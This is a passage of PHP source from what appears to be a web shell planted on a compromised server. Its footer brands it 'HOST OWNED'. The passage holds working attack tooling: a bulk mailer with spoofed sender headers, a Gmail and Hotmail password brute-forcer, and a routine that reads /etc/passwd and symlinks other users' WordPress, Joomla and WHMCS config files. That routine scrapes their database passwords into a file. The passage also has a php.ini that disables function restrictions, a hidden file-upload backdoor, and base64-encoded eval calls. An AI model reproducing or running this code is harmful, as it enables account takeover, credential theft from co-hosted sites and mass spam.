1105 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1106 | $HOSTOWNED1 = "HOST OWNED :"; | |
1107 | echo ''. $HOSTOWNED1 .'' ; | |
1108 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
1109 | ||
1110 | ||
1111 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
1112 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
1113 | echo ''. $THEEND .'' ; | |
1114 | exit ; | |
1115 | } | |
1116 | ////////// MAILS | |
1117 | if ($_GET['Mister'] == 'Mails') { | |
1118 | echo "<br><center><nav class='social'><ul> | |
1119 | <li><a href='?Mister=Mails'>Separator Email Liste</a></li> | |
1120 | <li><a href='?Mister=mailers'>Unknow Mailer v1.0</a></li> | |
1121 | </ul></nav></center>"; | |
1122 | echo "<nav class='Mister-nav'> | |
1123 | <center><span style='font-size:18px; color:#0000F0'>SEPARATOR EMAIL LISTE</span></nav><br><div class=content><center>"; | |
1124 | echo "<table align='center' width='80%'></td><td>"; echo " | |
1125 | <form method='post' name='login' ><br> | |
1126 | <font size='4' color='#FFFFFF'> LISTE EMAILS : </font><br> | |
1127 | <textarea name='emails' cols='30' rows='10' for='texte' style='height:200px;width:100%' class='input'> | |
1128 | </textarea> | |
1129 | <br/><br/><center><input type='submit' name='submit' value='Go !' class='Mister-button'/></center></div></form>"; | |
1130 | $emails = $_POST['emails']; | |
1131 | $ex = explode("\n",$emails); | |
1132 | $count = count($ex); | |
1133 | if(isset($emails)&&$count>=1){ | |
1134 | echo "<center><font color='red' size='3'>$count </font><font size='3' color='#FFFFFF'> Number of emails : </font></center><br />"; | |
1135 | }else{ | |
1136 | exit;} | |
1137 | ||
1138 | if(isset($emails)){ | |
1139 | ||
1140 | ||
1141 | for($i=0;$i<=$count;$i++){ | |
1142 | $d = strtolower($ex[$i]); | |
1143 | ||
1144 | if(strstr($d,"hotmail") || strstr($d,"live") || strstr($d,"msn") || strstr($d,"outlook")){ | |
1145 | $hotmail.=$d; | |
1146 | $nh = $nh + 1; | |
1147 | }else{ | |
1148 | if(strstr($d,"yahoo") || strstr($d,"ymail")){ | |
1149 | $yahoo.=$d; | |
1150 | $ny = $ny + 1; | |
1151 | }else{ | |
1152 | if(strstr($d,"gmail") || strstr($d,"googlemail") ){ | |
1153 | $gmail.=$d; | |
1154 | $ng = $ng + 1; | |
1155 | }else{ | |
1156 | if(strstr($d,"aol") ){ | |
1157 | $aol.=$d; | |
1158 | $na = $na + 1; | |
1159 | }else{ | |
1160 | if(strstr($d,"yahoo") ){ | |
1161 | $mailru .=$d; | |
1162 | $nr = $nr + 1; | |
1163 | }else{ | |
1164 | if(strstr($d,"wanadoo") ){ | |
1165 | $wanadoo .=$d; | |
1166 | $nw = $nw + 1; | |
1167 | }else{ | |
1168 | if(strstr($d,"ntlworld") ){ | |
1169 | $ntlworld .=$d; | |
1170 | $nt = $nt + 1; | |
1171 | }else{ | |
1172 | if(strstr($d,"gmx") ){ | |
1173 | $gmx .=$d; | |
1174 | $ngm = $ngm + 1; | |
1175 | }else{ | |
1176 | if(strstr($d,"@web.") ){ | |
1177 | $web .=$d; | |
1178 | $nw2 = $nw2 + 1; | |
1179 | }else{ | |
1180 | ||
1181 | $ather .=$d; | |
1182 | $nn=$nn + 1; | |
1183 | } | |
1184 | } | |
1185 | } | |
1186 | } | |
1187 | } | |
1188 | } | |
1189 | } | |
1190 | } | |
1191 | } | |
1192 | } | |
1193 | } | |
1194 | ?> | |
1195 | <center><table class="Mister-Tabl" style="width: 100%"> | |
1196 | <tr> | |
1197 | <td><center><font color='#FFFFFF' size='3'>hotmail ( <font color='red' size='3'><?echo $nh;?></font> ) </font></center><textarea name="hotmailx" cols="30" rows="10" ><?echo $hotmail;?></textarea></td> | |
1198 | <td><center><font color='#FFFFFF' size='3'>gmail ( <font color='red' size='3'><?echo $ng;?></font> )</font></center><textarea name="gmailx" cols="30" rows="10" ><?echo $gmail;?></textarea></td> | |
1199 | <td><center><font color='#FFFFFF' size='3'>aol ( <font color='red' size='3'><?echo $na;?></font> )</font></center><textarea name="aolxx" cols="30" rows="10" ><?echo $aol;?></textarea></td> | |
1200 | <td><center><font color='#FFFFFF' size='3'>yahoo ( <font color='red' size='3'><?echo $ny;?></font> ) </font></center><textarea name="yahoox" cols="30" rows="10" ><?echo $yahoo;?></textarea></td> | |
1201 | <td><center><font color='#FFFFFF' size='3'>mail.ru( <font color='red' size='3'><?echo $nr;?></font> ) </font></center><textarea name="othersx" cols="30" rows="10" ><?echo $mailru;?></textarea></td></tr> | |
1202 | <tr> | |
1203 | <td><center><font color='#FFFFFF' size='3'>wanadoo( <font color='red' size='3'><?echo $nw;?></font> ) </font></center><textarea name="othersx" cols="30" rows="10" ><?echo $wanadoo;?></textarea></td> | |
1204 | <td><center><font color='#FFFFFF' size='3'>ntlworld( <font color='red' size='3'><?echo $nt;?></font> ) </font></center><textarea name="othersx" cols="30" rows="10" ><?echo $ntlworld;?></textarea></td> | |
1205 | <td><center><font color='white' size='3'>gmx( <font color='red' size='3'><?echo $ngm;?></font> ) </font></center><textarea name="othersx" cols="30" rows="10" ><?echo $gmx;?></textarea></td> | |
1206 | <td><center><font color='#FFFFFF' size='3'>web( <font color='red' size='3'><?echo $nw2;?></font> ) </font></center><textarea name="othersx" cols="30" rows="10" ><?echo $web;?></textarea></td> | |
1207 | <td><center><font color='#FFFFFF' size='3'>ather mails( <font color='red' size='3'><?echo $nn-1;?></font> ) </font></center><textarea name="othersx" cols="30" rows="10" ><?echo $ather;?></textarea></td> | |
1208 | </tr></table></center></body> | |
1209 | <?php | |
1210 | $FOTTER2 = "<footer class='MK-footer'>"; | |
1211 | echo ''. $FOTTER2 .'' ; | |
1212 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
1213 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
1214 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1215 | $SERVERIP1 = "SERVER IP :"; | |
1216 | echo ''. $SERVERIP1 .'' ; | |
1217 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
1218 | $SPAN3 = "</span>"; | |
1219 | echo ''. $SPAN2 .'' ; | |
1220 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
1221 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1222 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
1223 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
1224 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
1225 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1226 | $HOSTOWNED1 = "HOST OWNED :"; | |
1227 | echo ''. $HOSTOWNED1 .'' ; | |
1228 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
1229 | ||
1230 | ||
1231 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
1232 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
1233 | echo ''. $THEEND .'' ; exit;} | |
1234 | ////// MAILER V1.0 | |
1235 | if ($_GET['Mister'] == 'mailers') { | |
1236 | echo "<br><center><nav class='social'><ul> | |
1237 | <li><a href='?Mister=Mails'>Separator Email Liste</a></li> | |
1238 | <li><a href='?Mister=mailers'>Unknow Mailer v1.0</a></li> | |
1239 | </ul></nav></center>"; echo "<nav class='Mister-nav'> | |
1240 | <center><span style='font-size:18px; color:#0000F0'>UNKNOW MAILER V1.0</span></nav><br><div class=content><center><table align='center' width='80%'>"; | |
1241 | if(empty($_POST)==false){ | |
1242 | $emails = preg_split("/\r\n|\n|\r/",$_POST["UnSend"]); | |
1243 | foreach($emails as $email){ | |
1244 | $headers = array(); | |
1245 | $headers[] = "MIME-Version: 1.0"; | |
1246 | $headers[] = "Content-type: text/plain; charset=iso-8859-1"; | |
1247 | $headers[] = "From: " . $_POST["sendername"] . " <" . $_POST["senderemail"] . ">"; | |
1248 | $headers[] = "Bcc: " . $_POST["Targetname"] . " <" . $_POST["Targetemail"] . ">"; | |
1249 | $headers[] = "Reply-To: <" . $_POST["repto"] . ">"; | |
1250 | $headers[] = "Subject: " . $_POST["title"]; | |
1251 | if($_POST["epriority"]==1){ | |
1252 | $headers[] = "X-Priority: 1 (Highest)"; | |
1253 | $headers[] = "X-MSMail-Priority: High"; | |
1254 | $headers[] = "Importance: High"; | |
1255 | }elseif($_POST["epriority"]==3){ | |
1256 | $headers[] = "X-Priority: 5 (Lowest)"; | |
1257 | $headers[] = "X-MSMail-Priority: Low"; | |
1258 | $headers[] = "Importance: Low"; | |
1259 | } | |
1260 | $headers[] = "X-Mailer: PHP/".phpversion(); | |
1261 | mail($email, $_POST["title"], $_POST["Texta"], implode("\r\n", $headers)); | |
1262 | } | |
1263 | print "<span style=' color:#0000F0'>DONE! </span>"; | |
1264 | }else{ | |
1265 | ?> | |
1266 | <form method="POST"><table style="width:70%"><td><br> | |
1267 | Emails :</br><textarea name="UnSend" cols="50" rows="15" maxlength="10000" style='height:150px;' wrap="soft" value="<? echo $_POST['UnSend'] ;?>" class="input"></textarea></td></table> | |
1268 | <table style="width:50%"><tr><td> | |
1269 | <br> Your Email : </br><input class="input" type="text" name="senderemail" value="<? echo $_POST['senderemail'] ;?>"></td></tr><tr><td> | |
1270 | <br> Your Name : </br><input class="input" type="text" name="sendername" value="<? echo $_POST['sendername'] ;?>"></td></tr><tr><td> | |
1271 | <br> Reply-To : </br><input class="input" type="text" name="repto" value="<? echo $_POST['repto'] ;?>"></td></tr><tr><td> | |
1272 | <br> Subject : </br><input class="input" type="text" name="title" value="<? echo $_POST['title'] ;?>"></td></tr><tr><td> | |
1273 | <br> Email Priority : </br><select name="epriority" value="<? echo $_POST['epriority'] ;?>"> | |
1274 | <option selected="" value="">Please Choose</option> | |
1275 | <option value="1">High</option> | |
1276 | <option value="2">Normal</option> | |
1277 | <option value="3">Low</option></select><br><br> | |
1278 | </td></tr></table></td></tr></table></td></tr><tr><td> | |
1279 | <br><span color='#FFFFFF'>Your Text :</span></br><textarea class="input" name="Texta" cols="86" rows="15" maxlength="10000" wrap="soft" style="width:70%;height:150px;" value="<? echo $_POST['epriority'] ;?>"></textarea></td></td></tr></table><br><br> | |
1280 | <input type="Submit" value="SEND" class="Mister-button"></form><br><br><br><br> | |
1281 | <?php | |
1282 | } | |
1283 | //// FOOTER | |
1284 | $FOTTER2 = "<footer class='MK-footer'>"; | |
1285 | echo ''. $FOTTER2 .'' ; | |
1286 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
1287 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
1288 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1289 | $SERVERIP1 = "SERVER IP :"; | |
1290 | echo ''. $SERVERIP1 .'' ; | |
1291 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
1292 | $SPAN3 = "</span>"; | |
1293 | echo ''. $SPAN2 .'' ; | |
1294 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
1295 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1296 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
1297 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
1298 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
1299 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1300 | $HOSTOWNED1 = "HOST OWNED :"; | |
1301 | echo ''. $HOSTOWNED1 .'' ; | |
1302 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
1303 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
1304 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
1305 | echo ''. $THEEND .'' ; | |
1306 | exit; | |
1307 | } | |
1308 | /////////// BRUTE MAILERS | |
1309 | if ($_GET['Mister'] == 'Brutmailers') { | |
1310 | echo "<center><nav class='social'><ul> | |
1311 | <li><a href='?Mister=cpanelBrut'>Turbo Cpanel Brut Force</a></li> | |
1312 | <li><a href='?Mister=Brutmailers'>Gmail & Hotmail Brute Force</a></li> | |
1313 | <li><a href='?Mister=AutoCp'>Auto Cpanel Finder/Cracker</a></li> | |
1314 | </ul></nav></center>"; | |
1315 | echo "<br><nav class='Mister-nav'><center><span style='font-size:18px;color:#0000F0'>GMAIL & HOTMAIL BRUTE FORCE</span></nav><br><div class=content><center>"; | |
1316 | $FOTTER2 = "<footer class='MK-footer'>"; | |
1317 | echo ''. $FOTTER2 .'' ; | |
1318 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
1319 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
1320 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1321 | $SERVERIP1 = "SERVER IP :"; | |
1322 | echo ''. $SERVERIP1 .'' ; | |
1323 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
1324 | $SPAN3 = "</span>"; | |
1325 | echo ''. $SPAN2 .'' ; | |
1326 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
1327 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1328 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
1329 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
1330 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
1331 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1332 | $HOSTOWNED1 = "HOST OWNED :"; | |
1333 | echo ''. $HOSTOWNED1 .'' ; | |
1334 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
1335 | ||
1336 | ||
1337 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
1338 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
1339 | echo ''. $THEEND .'<br>' ; | |
1340 | set_time_limit(0); | |
1341 | error_reporting(0); | |
1342 | class s1{ | |
1343 | private $adres = array( | |
1344 | 'gmail' => '{imap.gmail.com:993/imap/ssl}', | |
1345 | 'hotmail' => '{pop3.live.com:995/pop3/ssl}' | |
1346 | ); | |
1347 | private $imap; | |
1348 | function __construct($gelen1,$gelen2){ | |
1349 | $uname = explode("\r\n",$gelen1); | |
1350 | $pwd = explode("\r\n",$gelen2); | |
1351 | foreach($pwd as $pass){ | |
1352 | $pass = trim($pass); | |
1353 | foreach($uname as $user){ | |
1354 | $user = trim($user); | |
1355 | ||
1356 | if(preg_match('@gmail@si',$user)){ | |
1357 | $this->baglan($this->adres["gmail"],$user,$pass); | |
1358 | }else{ | |
1359 | $this->baglan($this->adres["hotmail"],$user,$pass); | |
1360 | } | |
1361 | } | |
1362 | } | |
1363 | } | |
1364 | public function baglan($url,$user,$pass){ | |
1365 | $this->imap = imap_open($url,$user,$pass); | |
1366 | if($this->imap){ | |
1367 | echo "<span color='#FFFFFF'>RESULT : </span><br> EMAILS : <span color='#FFFFFF'>$user </span> | PASSWORD :<span color='#FFFFFF'> $pass </span><br>"; | |
1368 | } | |
1369 | } | |
1370 | function __destruct(){ | |
1371 | imap_close($this->imap); | |
1372 | } | |
1373 | } | |
1374 | echo '<table width="70%" border="0" cellspacing="0"></td><td> | |
1375 | <form id="form" method="POST" > | |
1376 | <textarea name="mail" rows="10" cols="5">LISTE EMAILS</textarea> | |
1377 | <textarea name="sifre" rows="10" cols="5">PLISTE PASSWORD</textarea> <br /> <br /> | |
1378 | <center><input type="submit" class="Mister-button" value="Brute !" /></center> | |
1379 | </form><br> | |
1380 | </div> | |
1381 | <div id="sonuc"> '; | |
1382 | if($_POST){ | |
1383 | $mails = $_POST["mail"]; | |
1384 | $sifre = $_POST["sifre"]; | |
1385 | if((isset($mails)) and (isset($sifre))){ | |
1386 | $s1 = new s1($mails,$sifre); | |
1387 | } | |
1388 | } | |
1389 | echo '</center></div> '; | |
1390 | exit; } | |
1391 | //////////////// TOOLS | |
1392 | if ($_GET['Mister'] == 'cpanelBrut') { | |
1393 | echo "<center><nav class='social'><ul> | |
1394 | <li><a href='?Mister=cpanelBrut'>Turbo Cpanel Brut Force</a></li> | |
1395 | <li><a href='?Mister=Brutmailers'>Gmail & Hotmail Brute Force</a></li> | |
1396 | <li><a href='?Mister=AutoCp'>Auto Cpanel Finder/Cracker</a></li> | |
1397 | </ul></nav></center>"; | |
1398 | echo "<br><nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'> TURBO CPANEL BRUT FORCE | |
1399 | </span></nav><br><div class=content><center>"; | |
1400 | ?> | |
1401 | <center><span style='color:#0000F0;font-size:18px;'>GET PHP.INI</span> | |
1402 | <form method=post> | |
1403 | <input type=submit name=ini value="GENERATE PHP.INI" class="Mister-button"/></form> | |
1404 | <?php | |
1405 | if(isset($_POST['ini'])) | |
1406 | { | |
1407 | $r=fopen('php.ini','w'); | |
1408 | $rr=" disable_functions=none "; | |
1409 | fwrite($r,$rr); | |
1410 | $link="<a target=_white href=php.ini><span class='input'>OPEN THIS LINK IN NEW TAB TO RUN PHP.INI</span></a>"; | |
1411 | echo $link; | |
1412 | ||
1413 | } | |
1414 | ?> | |
1415 | <p><span style='color:#0000F0;font-size:18px;'>SYMLINK BASED </span> | |
1416 | <form method=post> | |
1417 | <input type=submit name="usre" value="EXTRACT USERNAMES AND MASS SYMLINK" class="Mister-button"></form> | |
1418 | <?php | |
1419 | if(isset($_POST['usre'])){ | |
1420 | ?><form method=post> | |
1421 | <textarea rows=10 cols=30 name=user class='input' style="height:200px;width:50%"><?php $users=file("/etc/passwd"); | |
1422 | foreach($users as $user) | |
1423 | { | |
1424 | $str=explode(":",$user); | |
1425 | echo $str[0]."\n"; | |
1426 | } | |
1427 | ?></textarea><br> | |
1428 | <input type=submit name=su value="START .HTACCESS" class="Mister-button"></form><br><br> | |
1429 | <?php } ?> | |
1430 | <?php | |
1431 | error_reporting(0); | |
1432 | if(isset($_POST['su'])) | |
1433 | { | |
1434 | $DIR=mkDIR('MKcpanel',0777); | |
1435 | $r = " Options all \n DIRectoryIndex MKcpanel.html \n Require None \n Satisfy Any"; | |
1436 | $f = fopen('MKcpanel/.htaccess','w'); | |
1437 | ||
1438 | fwrite($f,$r); | |
1439 | $consym="<a href=MKcpanel/><span style='color:#0000F0'>GET FILES</font></a>"; | |
1440 | echo "<br><span style='color:white'>FOLDER WHERE CONFIG FILES HAS BEEN SYMLINKED .../MKCPANEL/...<br><span style=color:#0000F0''>$consym</span>"; | |
1441 | ||
1442 | $usr=explode("\n",$_POST['user']); | |
1443 | ||
1444 | foreach($usr as $uss ) | |
1445 | { | |
1446 | $us=trim($uss); | |
1447 | ||
1448 | $r="MKcpanel/"; | |
1449 | symlink('/home/'.$us.'/public_html/wp-config.php',$r.$us.'..wp-config'); | |
1450 | symlink('/home/'.$us.'/public_html/wordpress/wp-config.php',$r.$us.'..word-wp'); | |
1451 | symlink('/home/'.$us.'/public_html/blog/wp-config.php',$r.$us.'..wpblog'); | |
1452 | symlink('/home/'.$us.'/public_html/configuration.php',$r.$us.'..joomla-or-whmcs'); | |
1453 | symlink('/home/'.$us.'/public_html/joomla/configuration.php',$r.$us.'..joomla'); | |
1454 | symlink('/home/'.$us.'/public_html/vb/includes/config.php',$r.$us.'..vbinc'); | |
1455 | symlink('/home/'.$us.'/public_html/includes/config.php',$r.$us.'..vb'); | |
1456 | symlink('/home/'.$us.'/public_html/conf_global.php',$r.$us.'..conf_global'); | |
1457 | symlink('/home/'.$us.'/public_html/inc/config.php',$r.$us.'..inc'); | |
1458 | symlink('/home/'.$us.'/public_html/config.php',$r.$us.'..config'); | |
1459 | symlink('/home/'.$us.'/public_html/Settings.php',$r.$us.'..Settings'); | |
1460 | symlink('/home/'.$us.'/public_html/sites/default/settings.php',$r.$us.'..sites'); | |
1461 | symlink('/home/'.$us.'/public_html/whm/configuration.php',$r.$us.'..whm'); | |
1462 | symlink('/home/'.$us.'/public_html/whmcs/configuration.php',$r.$us.'..whmcs'); | |
1463 | symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..supporwhmcs'); | |
1464 | symlink('/home/'.$us.'/public_html/whmc/WHM/configuration.php',$r.$us.'..WHM'); | |
1465 | symlink('/home/'.$us.'/public_html/whm/WHMCS/configuration.php',$r.$us.'..whmc'); | |
1466 | symlink('/home/'.$us.'/public_html/whm/whmcs/configuration.php',$r.$us.'..WHMcs'); | |
1467 | symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..whmcsupp'); | |
1468 | symlink('/home/'.$us.'/public_html/clients/configuration.php',$r.$us.'..whmcs-cli'); | |
1469 | symlink('/home/'.$us.'/public_html/client/configuration.php',$r.$us.'..whmcs-cl'); | |
1470 | symlink('/home/'.$us.'/public_html/clientes/configuration.php',$r.$us.'..whmcs-CL'); | |
1471 | symlink('/home/'.$us.'/public_html/cliente/configuration.php',$r.$us.'..whmcs-Cl'); | |
1472 | symlink('/home/'.$us.'/public_html/clientsupport/configuration.php',$r.$us.'..whmcs-csup'); | |
1473 | symlink('/home/'.$us.'/public_html/billing/configuration.php',$r.$us.'..whmcs-bill'); | |
1474 | symlink('/home/'.$us.'/public_html/admin/config.php',$r.$us.'..admin-conf'); | |
1475 | } | |
1476 | } | |
1477 | ?> | |
1478 | <p><span style='color:#0000F0;font-size:18px;'>PASSWORD GRABING SECTION</span> | |
1479 | <form method=post> | |
1480 | <input type=submit name=sm value="GRABBING PASSWORDS FROM CONFIGURATION FILES" class="Mister-button"></form> | |
1481 | <?php | |
1482 | error_reporting(0); | |
1483 | set_time_limit(0); | |
1484 | function entre2v2($text,$marqueurDebutLien,$marqueurFinLien) | |
1485 | { | |
1486 | ||
1487 | $ar0=explode($marqueurDebutLien, $text); | |
1488 | $ar1=explode($marqueurFinLien, $ar0[1]); | |
1489 | $ar=trim($ar1[0]); | |
1490 | return $ar; | |
1491 | } | |
1492 | ||
1493 | if(isset($_POST['sm'])) | |
1494 | ||
1495 | { | |
1496 | echo "<span style='color:white'>U CAN COPY AND PAST /ETC/PASSWD</span><br>"; | |
1497 | $ffile=fopen('r.txt','a+'); | |
1498 | ||
1499 | ||
1500 | $r= 'http://'.$_SERVER['SERVER_NAME'].DIRname($_SERVER['SCRIPT_NAME'])."/MKcpanel/"; | |
1501 | $re=$r; | |
1502 | $confi=array("..wp-config","..word-wp","..wpblog","..config","..admin-conf","..vb","..joomla-or-whmcs","..joomla","..vbinc","..whm","..whmcs","..supporwhmcs","..WHM","..whmc","..WHMcs","..whmcsupp","..whmcs-cli","..whmcs-cl","..whmcs-CL","..whmcs-Cl","..whmcs-csup","..whmcs-bill"); | |
1503 | ||
1504 | $users=file("/etc/passwd"); | |
1505 | foreach($users as $user) | |
1506 | { | |
1507 | ||
1508 | $str=explode(":",$user); | |
1509 | $usersss=$str[0]; | |
1510 | foreach($confi as $co) | |
1511 | { | |
1512 | ||
1513 | ||
1514 | $uurl=$re.$usersss.$co; | |
1515 | $uel=$uurl; | |
1516 | ||
1517 | $ch = curl_init(); | |
1518 | ||
1519 | curl_setopt($ch, CURLOPT_URL, $uel); | |
1520 | curl_setopt($ch, CURLOPT_HEADER, 1); | |
1521 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
1522 | curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); | |
1523 | curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8'); | |
1524 | $result['EXE'] = curl_exec($ch); | |
1525 | curl_close($ch); | |
1526 | $uxl=$result['EXE']; | |
1527 | ||
1528 | ||
1529 | if($uxl && preg_match('/table_prefix/i',$uxl)) | |
1530 | { | |
1531 | ||
1532 | echo "<div align=center><table width=60% ><tr><td align=center> <span> $usersss </span><span style='color:#0000F0'>USER'S WEBSITE CMS IS WORDPRESS </span></td></tr></table>"; | |
1533 | ||
1534 | echo $dbp=entre2v2($uxl,"DB_PASSWORD', '","');"); | |
1535 | if(!empty($dbp)) | |
1536 | $pass=$dbp."\n"; | |
1537 | fwrite($ffile,$pass); | |
1538 | ||
1539 | } | |
1540 | elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl)) | |
1541 | { | |
1542 | ||
1543 | echo "<div align=center><table width=60% ><tr><td align=center><span> $usersss </span> <span style='color:#0000F0'>USER'S WEBSITE WHMCS </span></td></tr></table>"; | |
1544 | ||
1545 | echo $dbp=entre2v2($uxl,"db_password = '","';"); | |
1546 | if(!empty($dbp)) | |
1547 | $pass=$dbp."\n"; | |
1548 | fwrite($ffile,$pass); | |
1549 | ||
1550 | } | |
1551 | ||
1552 | ||
1553 | elseif($uxl && preg_match('/dbprefix/i',$uxl)) | |
1554 | { | |
1555 | ||
1556 | echo "<div align=center><table width=60% ><tr><td align=center><span> $usersss </span> <span style='color:#0000F0'>USER'S WEBSITE CMS IS JOOMLA </span></td></tr></table>"; | |
1557 | ||
1558 | echo $db=entre2v2($uxl,"password = '","';"); | |
1559 | if(!empty($db)) | |
1560 | $pass=$db."\n"; | |
1561 | fwrite($ffile,$pass); | |
1562 | } | |
1563 | elseif($uxl && preg_match('/admincpDIR/i',$uxl)) | |
1564 | { | |
1565 | ||
1566 | echo "<div align=center><table width=60% ><tr><td align=center><span> $usersss </span> <span style='color:#0000F0'>USER'S WEBSITE CMS IS VBULLETIN </span></td></tr></table>"; | |
1567 | ||
1568 | echo $db=entre2v2($uxl,"password'] = '","';"); | |
1569 | if(!empty($db)) | |
1570 | $pass=$db."\n"; | |
1571 | fwrite($ffile,$pass); | |
1572 | ||
1573 | } | |
1574 | elseif($uxl && preg_match('/DB_DATABASE/i',$uxl)) | |
1575 | { | |
1576 | ||
1577 | echo "<div align=center><table width=60% ><tr><td align=center><span style='color:#0000F0'> GOT CONFIG FILE FOR UNKNWON CMS FOR USER</span><span> $usersss </span></td></tr></table>"; | |
1578 | ||
1579 | echo $db=entre2v2($uxl,"DB_PASSWORD', '","');"); | |
1580 | if(!empty($db)) | |
1581 | $pass=$db."\n"; | |
1582 | fwrite($ffile,$pass); | |
1583 | } | |
1584 | elseif($uxl && preg_match('/dbpass/i',$uxl)) | |
1585 | { | |
1586 | ||
1587 | echo "<div align=center><table width=60% ><tr><td align=center><span> $usersss </span> user's config file for unknwon cms </span></td></tr></table>"; | |
1588 | ||
1589 | echo $db=entre2v2($uxl,"dbpass = '","';"); | |
1590 | if(!empty($db)) | |
1591 | $pass=$db."\n"; | |
1592 | fwrite($ffile,$pass); | |
1593 | } | |
1594 | elseif($uxl && preg_match('/dbpass/i',$uxl)) | |
1595 | { | |
1596 | ||
1597 | echo "<div align=center><table width=60% ><tr><td align=center><span style='color:#0000F0'> GOT CONFIG FILE FOR UNKNWON CMS OF USER </span><span>$usersss </span></td></tr></table>"; | |
1598 | ||
1599 | echo $db=entre2v2($uxl,"dbpass = '","';"); | |
1600 | if(!empty($db)) | |
1601 | $pass=$db."\n"; | |
1602 | fwrite($ffile,$pass); | |
1603 | ||
1604 | } | |
1605 | elseif($uxl && preg_match('/dbpass/i',$uxl)) | |
1606 | { | |
1607 | ||
1608 | echo "<div align=center><table width=60% ><tr><td align=center><span> $usersss </span> <span style='color:#0000F0'> USER'S CONFIG FILE FOR UNKNWON CMS </span></td></tr></table>"; | |
1609 | ||
1610 | echo $db=entre2v2($uxl,"dbpass = \"","\";"); | |
1611 | if(!empty($db)) | |
1612 | $pass=$db."\n"; | |
1613 | fwrite($ffile,$pass); | |
1614 | } | |
1615 | } | |
1616 | } | |
1617 | } | |
1618 | $data = $_GET['data']; | |
1619 | if($data == 'data'){ | |
1620 | ||
1621 | $filename = $_FILES['file']['name']; | |
1622 | $filetmp = $_FILES['file']['tmp_name']; | |
1623 | ||
1624 | echo "<form method='POST' enctype='multipart/form-data'> | |
1625 | <input type='file'name='file'> | |
1626 | <input type='submit' value='data' class='Mister-button'> | |
1627 | </form>"; | |
1628 | MOVE_UPLOADED_FILE($filetmp,$filename); | |
1629 | } | |
1630 | ?> | |
1631 | <span style='color:#0000F0;font-size:18px;'>CPANEL CRACKER</span> | |
